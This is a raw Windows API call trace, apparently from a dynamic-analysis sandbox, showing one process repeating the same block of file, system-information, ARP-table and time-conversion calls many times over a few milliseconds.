	[0050.338] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.338] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.338] SetErrorMode (uMode=0x1) returned 0x1
	[0050.338] GetLogicalDrives () returned 0x4
	[0050.338] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.338] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d7cf0
	[0050.338] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.338] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.338] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.339] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d1a58
	[0050.339] GetIpNetTable (in: IpNetTable=0x30d1a58, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d1a58, SizePointer=0xf3d4ac) returned 0x0
	[0050.339] AppendMenuW (hMenu=0x0, uFlags=0x803b4f5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.339] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.339] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.339] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.339] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.339] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.340] SetErrorMode (uMode=0x1) returned 0x1
	[0050.340] GetLogicalDrives () returned 0x4
	[0050.340] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.340] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d84f8
	[0050.340] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.340] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.340] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.340] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d22f0
	[0050.340] GetIpNetTable (in: IpNetTable=0x30d22f0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d22f0, SizePointer=0xf3d4ac) returned 0x0
	[0050.341] AppendMenuW (hMenu=0x0, uFlags=0x803c29e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.341] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.341] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.341] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.341] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.341] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.341] SetErrorMode (uMode=0x1) returned 0x1
	[0050.341] GetLogicalDrives () returned 0x4
	[0050.341] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.341] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d9508
	[0050.341] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.341] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.341] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.341] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d2138
	[0050.341] GetIpNetTable (in: IpNetTable=0x30d2138, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d2138, SizePointer=0xf3d4ac) returned 0x0
	[0050.342] AppendMenuW (hMenu=0x0, uFlags=0x803d2b9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.342] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.342] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.342] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.342] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.342] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.342] SetErrorMode (uMode=0x1) returned 0x1
	[0050.342] GetLogicalDrives () returned 0x4
	[0050.342] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.342] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30dad20
	[0050.342] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.342] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.342] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.342] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d0c98
	[0050.342] GetIpNetTable (in: IpNetTable=0x30d0c98, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d0c98, SizePointer=0xf3d4ac) returned 0x0
	[0050.343] AppendMenuW (hMenu=0x0, uFlags=0x803e0628, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.343] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.343] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.343] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.343] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.343] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.343] SetErrorMode (uMode=0x1) returned 0x1
	[0050.343] GetLogicalDrives () returned 0x4
	[0050.344] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.344] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d44b8
	[0050.344] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.344] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.344] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.344] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d0e50
	[0050.344] GetIpNetTable (in: IpNetTable=0x30d0e50, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d0e50, SizePointer=0xf3d4ac) returned 0x0
	[0050.344] AppendMenuW (hMenu=0x0, uFlags=0x803f07dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.344] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.344] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.344] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.345] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.345] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.345] SetErrorMode (uMode=0x1) returned 0x1
	[0050.345] GetLogicalDrives () returned 0x4
	[0050.345] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.345] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d6ce0
	[0050.345] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.345] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.345] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.345] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d1008
	[0050.345] GetIpNetTable (in: IpNetTable=0x30d1008, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d1008, SizePointer=0xf3d4ac) returned 0x0
	[0050.346] AppendMenuW (hMenu=0x0, uFlags=0x803fe268, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.346] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.346] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.346] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.346] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.346] SetErrorMode (uMode=0x1) returned 0x1
	[0050.346] GetLogicalDrives () returned 0x4
	[0050.346] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.346] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d34a8
	[0050.346] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.346] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.346] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.346] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d11c0
	[0050.346] GetIpNetTable (in: IpNetTable=0x30d11c0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d11c0, SizePointer=0xf3d4ac) returned 0x0
	[0050.347] AppendMenuW (hMenu=0x0, uFlags=0x8040e41c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.347] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.347] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.347] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.347] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.347] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.347] SetErrorMode (uMode=0x1) returned 0x1
	[0050.347] GetLogicalDrives () returned 0x4
	[0050.347] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.347] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30db528
	[0050.347] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.347] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.347] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.348] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d1530
	[0050.348] GetIpNetTable (in: IpNetTable=0x30d1530, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d1530, SizePointer=0xf3d4ac) returned 0x0
	[0050.348] AppendMenuW (hMenu=0x0, uFlags=0x8041bea8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.348] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.348] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.348] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.348] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.349] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.349] SetErrorMode (uMode=0x1) returned 0x1
	[0050.349] GetLogicalDrives () returned 0x4
	[0050.349] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.349] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d3cb0
	[0050.349] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.349] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.349] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.349] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d1378
	[0050.349] GetIpNetTable (in: IpNetTable=0x30d1378, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d1378, SizePointer=0xf3d4ac) returned 0x0
	[0050.350] AppendMenuW (hMenu=0x0, uFlags=0x8041c05c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.350] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.350] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.350] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.350] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.350] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.350] SetErrorMode (uMode=0x1) returned 0x1
	[0050.350] GetLogicalDrives () returned 0x4
	[0050.350] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.350] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30dc538
	[0050.350] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.350] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.350] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.350] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d16e8
	[0050.350] GetIpNetTable (in: IpNetTable=0x30d16e8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d16e8, SizePointer=0xf3d4ac) returned 0x0
	[0050.351] AppendMenuW (hMenu=0x0, uFlags=0x80429ae8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.351] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.351] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.351] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.351] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.351] SetErrorMode (uMode=0x1) returned 0x1
	[0050.351] GetLogicalDrives () returned 0x4
	[0050.351] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.351] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30dbd30
	[0050.351] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.351] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.351] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.352] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d18a0
	[0050.352] GetIpNetTable (in: IpNetTable=0x30d18a0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d18a0, SizePointer=0xf3d4ac) returned 0x0
	[0050.352] AppendMenuW (hMenu=0x0, uFlags=0x80439c9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.352] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.352] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.352] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.352] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.363] SetErrorMode (uMode=0x1) returned 0x1
	[0050.363] GetLogicalDrives () returned 0x4
	[0050.363] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.363] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d4cc0
	[0050.363] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.363] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.363] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.363] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e2e60
	[0050.363] GetIpNetTable (in: IpNetTable=0x30e2e60, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e2e60, SizePointer=0xf3d4ac) returned 0x0
	[0050.364] AppendMenuW (hMenu=0x0, uFlags=0x80447728, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.364] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.364] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.364] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.364] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.364] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.364] SetErrorMode (uMode=0x1) returned 0x1
	[0050.364] GetLogicalDrives () returned 0x4
	[0050.364] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.364] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30dcd40
	[0050.364] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.364] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.364] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.365] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e4828
	[0050.365] GetIpNetTable (in: IpNetTable=0x30e4828, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e4828, SizePointer=0xf3d4ac) returned 0x0
	[0050.365] AppendMenuW (hMenu=0x0, uFlags=0x804578dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.365] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.365] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.365] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.365] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.365] SetErrorMode (uMode=0x1) returned 0x1
	[0050.366] GetLogicalDrives () returned 0x4
	[0050.366] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
